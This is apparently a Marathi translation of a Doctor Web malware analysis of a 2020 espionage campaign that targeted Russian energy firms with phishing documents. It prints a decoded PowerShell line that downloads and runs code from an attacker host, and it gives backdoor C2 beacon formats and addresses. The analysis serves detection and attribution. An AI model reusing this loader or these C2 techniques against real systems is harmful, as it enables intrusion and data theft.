आम्ही रशियन इंधन आणि ऊर्जा संकुलावर लक्ष्यित गुप्तहेर हल्ल्याचा तपास करत आहोत

संगणक सुरक्षा घटनांचा तपास करण्याचा आमचा अनुभव असे दर्शवितो की ईमेल हे अजूनही हल्लेखोरांद्वारे आक्रमण केलेल्या नेटवर्क पायाभूत सुविधांमध्ये प्रवेश करण्यासाठी वापरलेले सर्वात सामान्य चॅनेल आहे. संशयास्पद (किंवा तितके संशयास्पद नसलेले) पत्र असलेली एक निष्काळजी कृती पुढील संसर्गासाठी प्रवेश बिंदू बनते, म्हणूनच सायबर गुन्हेगार सामाजिक अभियांत्रिकी पद्धती सक्रियपणे वापरत आहेत, जरी वेगवेगळ्या प्रमाणात यश मिळत असले तरी.

या पोस्टमध्ये आम्ही रशियन इंधन आणि ऊर्जा कॉम्प्लेक्समधील अनेक उद्योगांना लक्ष्य करणार्‍या स्पॅम मोहिमेच्या आमच्या अलीकडील तपासणीबद्दल बोलू इच्छितो. सर्व हल्ले बनावट ईमेल वापरून समान परिस्थितीचे अनुसरण करतात आणि कोणीही या ईमेलच्या मजकूर सामग्रीमध्ये जास्त प्रयत्न केले नसल्यासारखे दिसत होते.

गुप्तचर सेवा

हे सर्व एप्रिल 2020 च्या शेवटी सुरू झाले, जेव्हा डॉक्टर वेब व्हायरस विश्लेषकांना स्पॅम मोहीम आढळली ज्यामध्ये हॅकर्सनी रशियन इंधन आणि ऊर्जा संकुलातील अनेक उपक्रमांच्या कर्मचार्‍यांना अद्ययावत टेलिफोन निर्देशिका पाठवली. अर्थात, ही एक साधी चिंतेची गोष्ट नव्हती, कारण निर्देशिका वास्तविक नव्हती आणि .docx दस्तऐवजांनी रिमोट संसाधनांमधून दोन प्रतिमा डाउनलोड केल्या.

त्यापैकी एक बातमी[.]zannews[.]com सर्व्हरवरून वापरकर्त्याच्या संगणकावर डाउनलोड करण्यात आली. हे लक्षात घेण्याजोगे आहे की डोमेन नाव कझाकस्तानच्या भ्रष्टाचार विरोधी मीडिया सेंटरच्या डोमेनसारखेच आहे - zannews[.]kz. दुसरीकडे, वापरलेले डोमेन लगेचच TOPNEWS म्हणून ओळखल्या जाणार्‍या 2015 च्या दुसर्‍या मोहिमेची आठवण करून देणारे होते, ज्यामध्ये ICEFOG बॅकडोअर वापरला होता आणि त्यांच्या नावांमध्ये "न्यूज" सबस्ट्रिंग असलेले ट्रोजन कंट्रोल डोमेन होते. आणखी एक मनोरंजक वैशिष्ट्य म्हणजे भिन्न प्राप्तकर्त्यांना ईमेल पाठवताना, प्रतिमा डाउनलोड करण्याच्या विनंत्यांमध्ये भिन्न विनंती पॅरामीटर्स किंवा अद्वितीय प्रतिमा नावे वापरली जातात.

आमचा विश्वास आहे की हे "विश्वसनीय" पत्ता ओळखण्यासाठी माहिती गोळा करण्याच्या उद्देशाने केले गेले आहे, ज्याला योग्य वेळी पत्र उघडण्याची हमी दिली जाईल. दुस-या सर्व्हरवरून इमेज डाउनलोड करण्यासाठी SMB प्रोटोकॉलचा वापर केला गेला, जो प्राप्त दस्तऐवज उघडणाऱ्या कर्मचाऱ्यांच्या संगणकावरून NetNTLM हॅश गोळा करण्यासाठी केला जाऊ शकतो.

आणि बनावट निर्देशिकेसह पत्र येथे आहे:

या वर्षीच्या जूनमध्ये, हॅकर्सने इमेज अपलोड करण्यासाठी स्पोर्ट्स[.]manhajnews[.]com या नवीन डोमेन नावाचा वापर करण्यास सुरुवात केली. विश्लेषणात असे दिसून आले आहे की manhajnews[.]com सबडोमेन किमान सप्टेंबर 2019 पासून स्पॅम मेलिंगमध्ये वापरले जात आहेत. या मोहिमेच्या लक्ष्यांपैकी एक मोठे रशियन विद्यापीठ होते.

तसेच, जूनपर्यंत, हल्ल्याचे आयोजक त्यांच्या पत्रांसाठी एक नवीन मजकूर घेऊन आले: यावेळी दस्तऐवजात उद्योग विकासाची माहिती होती. पत्रातील मजकूर स्पष्टपणे सूचित करतो की त्याचा लेखक एकतर रशियन भाषेचा मूळ भाषक नव्हता किंवा मुद्दाम स्वतःबद्दल अशी छाप निर्माण करत होता. दुर्दैवाने, उद्योग विकासाच्या कल्पना, नेहमीप्रमाणे, फक्त एक कव्हर बनल्या - दस्तऐवजाने पुन्हा दोन प्रतिमा डाउनलोड केल्या, तर सर्व्हर डाउनलोड करण्यासाठी बदलला गेला[.]inklingpaper[.]com.

त्यानंतरचा नवीन शोध जुलैमध्ये आला. अँटीव्हायरस प्रोग्रामद्वारे दुर्भावनापूर्ण दस्तऐवज शोधण्यापासून दूर जाण्याच्या प्रयत्नात, आक्रमणकर्त्यांनी पासवर्डसह एन्क्रिप्ट केलेले मायक्रोसॉफ्ट वर्ड दस्तऐवज वापरण्यास सुरुवात केली. त्याच वेळी, हल्लेखोरांनी क्लासिक सामाजिक अभियांत्रिकी तंत्र - बक्षीस सूचना वापरण्याचा निर्णय घेतला.

अपीलचा मजकूर पुन्हा त्याच शैलीत लिहिला गेला, ज्यामुळे संबोधितांमध्ये अतिरिक्त संशय निर्माण झाला. प्रतिमा डाउनलोड करण्यासाठी सर्व्हर देखील बदलला नाही.

लक्षात घ्या की सर्व प्रकरणांमध्ये, पत्रे पाठवण्यासाठी मेलवर नोंदणीकृत इलेक्ट्रॉनिक मेलबॉक्सेस[.]ru आणि yandex[.]ru डोमेन वापरण्यात आले होते.

हल्ला

सप्टेंबर 2020 च्या सुरुवातीस, कारवाईची वेळ आली होती. आमच्या व्हायरस विश्लेषकांनी हल्ल्यांची एक नवीन लहर रेकॉर्ड केली, ज्यामध्ये हल्लेखोरांनी टेलिफोन निर्देशिका अद्यतनित करण्याच्या बहाण्याने पुन्हा पत्रे पाठवली. तथापि, यावेळी संलग्नकमध्ये दुर्भावनापूर्ण मॅक्रो आहे.

संलग्न दस्तऐवज उघडताना, मॅक्रोने दोन फायली तयार केल्या:

• VBS स्क्रिप्ट %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, जी बॅच फाइल लाँच करण्याच्या उद्देशाने होती;
• बॅच फाइल स्वतः %APPDATA%configstest.bat, जी अस्पष्ट होती.

काही पॅरामीटर्ससह पॉवरशेल शेल लॉन्च करण्यासाठी त्याच्या कार्याचे सार खाली येते. शेलमध्ये पास केलेले पॅरामीटर्स कमांडमध्ये डीकोड केले जातात:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

सादर केलेल्या आज्ञांमधून खालीलप्रमाणे, ज्या डोमेनवरून पेलोड डाउनलोड केले जाते ते पुन्हा न्यूज साइट म्हणून प्रच्छन्न केले जाते. एक साधा लोडर, ज्याचे एकमेव कार्य म्हणजे कमांड आणि कंट्रोल सर्व्हरकडून शेलकोड प्राप्त करणे आणि ते कार्यान्वित करणे. आम्ही दोन प्रकारचे बॅकडोअर ओळखण्यात सक्षम होतो जे पीडिताच्या PC वर स्थापित केले जाऊ शकतात.

Backdoor.Siggen2.3238

पहिला आहे Backdoor.Siggen2.3238 — आमच्या तज्ञांना यापूर्वी भेटले नव्हते, आणि इतर अँटीव्हायरस विक्रेत्यांकडून या प्रोग्रामचा उल्लेखही नव्हता.

हा प्रोग्राम C++ मध्ये लिहिलेला बॅकडोअर आहे आणि 32-बिट विंडोज ऑपरेटिंग सिस्टमवर चालतो.

Backdoor.Siggen2.3238 दोन प्रोटोकॉल वापरून व्यवस्थापन सर्व्हरशी संवाद साधण्यास सक्षम आहे: HTTP आणि HTTPS. चाचणी केलेला नमुना HTTPS प्रोटोकॉल वापरतो. खालील वापरकर्ता-एजंट सर्व्हरला विनंती करण्यासाठी वापरले जाते:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

या प्रकरणात, सर्व विनंत्या खालील पॅरामीटर्ससह पुरवल्या जातात:

%s;type=%s;length=%s;realdata=%send

जिथे प्रत्येक ओळ %s नुसार बदलली जाते:

• संक्रमित संगणकाचा आयडी,
• पाठवल्या जाणाऱ्या विनंतीचा प्रकार,
• वास्तविक डेटा फील्डमधील डेटाची लांबी,
• डेटा.

संक्रमित प्रणालीबद्दल माहिती गोळा करण्याच्या टप्प्यावर, मागील दरवाजा यासारखी एक ओळ तयार करतो:

lan=%s;cmpname=%s;username=%s;version=%s;

जेथे lan हा संक्रमित संगणकाचा IP पत्ता आहे, cmpname हे संगणकाचे नाव आहे, वापरकर्तानाव हे वापरकर्तानाव आहे, आवृत्ती 0.0.4.03 आहे.

sysinfo आयडेंटिफायरसह ही माहिती https[:]//31.214[.]157.14/log.txt येथे असलेल्या कंट्रोल सर्व्हरला POST विनंतीद्वारे पाठविली जाते. प्रतिसादात असल्यास Backdoor.Siggen2.3238 हार्ट सिग्नल प्राप्त होतो, कनेक्शन यशस्वी मानले जाते आणि बॅकडोअर सर्व्हरसह संप्रेषणाचे मुख्य चक्र सुरू करते.

ऑपरेटिंग तत्त्वांचे अधिक संपूर्ण वर्णन Backdoor.Siggen2.3238 आमच्या मध्ये आहे व्हायरस लायब्ररी.

बॅकडोअर.व्हाइटबर्ड.23

दुसरा कार्यक्रम Backdoor.Whitebird बॅकडोअरचा एक बदल आहे, जो कझाकस्तानमधील सरकारी एजन्सीच्या घटनेवरून आम्हाला आधीच ज्ञात आहे. ही आवृत्ती C++ मध्‍ये लिहिलेली आहे आणि 32-बिट आणि 64-बिट विंडोज ऑपरेटिंग सिस्टिमवर चालण्यासाठी डिझाइन केलेली आहे.

या प्रकारच्या बहुतेक कार्यक्रमांप्रमाणे, बॅकडोअर.व्हाइटबर्ड.23 कंट्रोल सर्व्हरसह एनक्रिप्टेड कनेक्शन स्थापित करण्यासाठी आणि संक्रमित संगणकाचे अनधिकृत नियंत्रण स्थापित करण्यासाठी डिझाइन केलेले. ड्रॉपर वापरून तडजोड प्रणालीमध्ये स्थापित केले Backdoor.Siggen2.3244.

आम्ही तपासलेला नमुना दोन निर्यात असलेली दुर्भावनापूर्ण लायब्ररी होती:

• गुगल प्ले
• चाचणी

त्याच्या कामाच्या सुरूवातीस, ते बाइट 0x99 सह XOR ऑपरेशनवर आधारित अल्गोरिदम वापरून बॅकडोअर बॉडीमध्ये हार्डवायर केलेले कॉन्फिगरेशन डिक्रिप्ट करते. कॉन्फिगरेशन असे दिसते:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

त्याचे सतत ऑपरेशन सुनिश्चित करण्यासाठी, बॅकडोअर फील्डमध्ये निर्दिष्ट केलेले मूल्य बदलते कामाचे_तास कॉन्फिगरेशन फील्डमध्ये 1440 बाइट्स आहेत, जे 0 किंवा 1 मूल्ये घेतात आणि दिवसातील प्रत्येक तासाच्या प्रत्येक मिनिटाचे प्रतिनिधित्व करतात. प्रत्येक नेटवर्क इंटरफेससाठी वेगळा थ्रेड तयार करतो जो इंटरफेस ऐकतो आणि संक्रमित संगणकावरून प्रॉक्सी सर्व्हरवर अधिकृतता पॅकेट शोधतो. असे पॅकेट सापडल्यावर, बॅकडोअर त्याच्या सूचीमध्ये प्रॉक्सी सर्व्हरची माहिती जोडते. याव्यतिरिक्त, WinAPI द्वारे प्रॉक्सीची उपस्थिती तपासते InternetQueryOptionW.

प्रोग्राम वर्तमान मिनिट आणि तास तपासतो आणि फील्डमधील डेटाशी तुलना करतो कामाचे_तास कॉन्फिगरेशन जर दिवसाच्या संबंधित मिनिटाचे मूल्य शून्य नसेल, तर कंट्रोल सर्व्हरसह कनेक्शन स्थापित केले जाईल.

सर्व्हरशी कनेक्शन स्थापित करणे क्लायंट आणि सर्व्हर दरम्यान TLS आवृत्ती 1.0 प्रोटोकॉल वापरून कनेक्शनच्या निर्मितीचे अनुकरण करते. बॅकडोअरच्या शरीरात दोन बफर असतात.

पहिल्या बफरमध्ये TLS 1.0 क्लायंट हॅलो पॅकेट आहे.

दुसऱ्या बफरमध्ये 1.0x0 बाइट्स, चेंज सिफर स्पेक, एनक्रिप्टेड हँडशेक मेसेजची की लांबी असलेली TLS 100 क्लायंट की एक्सचेंज पॅकेट्स आहेत.

क्लायंट हॅलो पॅकेट पाठवताना, बॅकडोअर वर्तमान वेळेचे 4 बाइट्स आणि क्लायंट रँडम फील्डमध्ये स्यूडो-रँडम डेटाचे 28 बाइट्स लिहितो, खालीलप्रमाणे गणना केली जाते:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

प्राप्त झालेले पॅकेट कंट्रोल सर्व्हरला पाठवले जाते. प्रतिसाद (सर्व्हर हॅलो पॅकेट) तपासते:

• TLS प्रोटोकॉल आवृत्ती 1.0 चे अनुपालन;
• टाइमस्टॅम्पचा पत्रव्यवहार (यादृच्छिक डेटा पॅकेट फील्डचे पहिले 4 बाइट्स) क्लायंटने सर्व्हरद्वारे निर्दिष्ट केलेल्या टाइमस्टॅम्पला निर्दिष्ट केले आहे;
• क्लायंट आणि सर्व्हरच्या यादृच्छिक डेटा फील्डमध्ये टाइमस्टॅम्प नंतर पहिल्या 4 बाइट्सची जुळणी.

निर्दिष्ट जुळण्यांच्या बाबतीत, बॅकडोअर क्लायंट की एक्सचेंज पॅकेट तयार करतो. हे करण्यासाठी, ते क्लायंट की एक्सचेंज पॅकेजमधील सार्वजनिक की, तसेच एनक्रिप्टेड हँडशेक संदेश पॅकेजमधील एन्क्रिप्शन IV आणि एन्क्रिप्शन डेटा सुधारित करते.

बॅकडोअर नंतर कमांड आणि कंट्रोल सर्व्हरकडून पॅकेट प्राप्त करतो, TLS प्रोटोकॉल आवृत्ती 1.0 आहे हे तपासतो आणि नंतर आणखी 54 बाइट्स (पॅकेटचा मुख्य भाग) स्वीकारतो. हे कनेक्शन सेटअप पूर्ण करते.

ऑपरेटिंग तत्त्वांचे अधिक संपूर्ण वर्णन बॅकडोअर.व्हाइटबर्ड.23 आमच्या मध्ये आहे व्हायरस लायब्ररी.

निष्कर्ष आणि निष्कर्ष

दस्तऐवज, मालवेअर आणि वापरलेल्या पायाभूत सुविधांचे विश्लेषण आम्हाला आत्मविश्वासाने सांगू देते की हल्ला चीनी एपीटी गटांपैकी एकाने तयार केला होता. यशस्वी हल्ल्याच्या प्रसंगी पीडितांच्या संगणकांवर स्थापित केलेल्या मागील दरवाजाची कार्यक्षमता लक्षात घेता, संसर्ग कमीतकमी, हल्ला झालेल्या संस्थांच्या संगणकावरून गोपनीय माहितीची चोरीपर्यंत नेतो.

याशिवाय, स्थानिक सर्व्हरवर विशेष फंक्शनसह विशेषीकृत ट्रोजनची स्थापना ही संभाव्य परिस्थिती आहे. हे डोमेन कंट्रोलर, मेल सर्व्हर, इंटरनेट गेटवे इत्यादी असू शकतात. जसे आपण उदाहरणात पाहू शकतो. कझाकस्तानमधील घटना, असे सर्व्हर विविध कारणांमुळे आक्रमणकर्त्यांसाठी विशेष स्वारस्य आहेत.

स्त्रोत: www.habr.com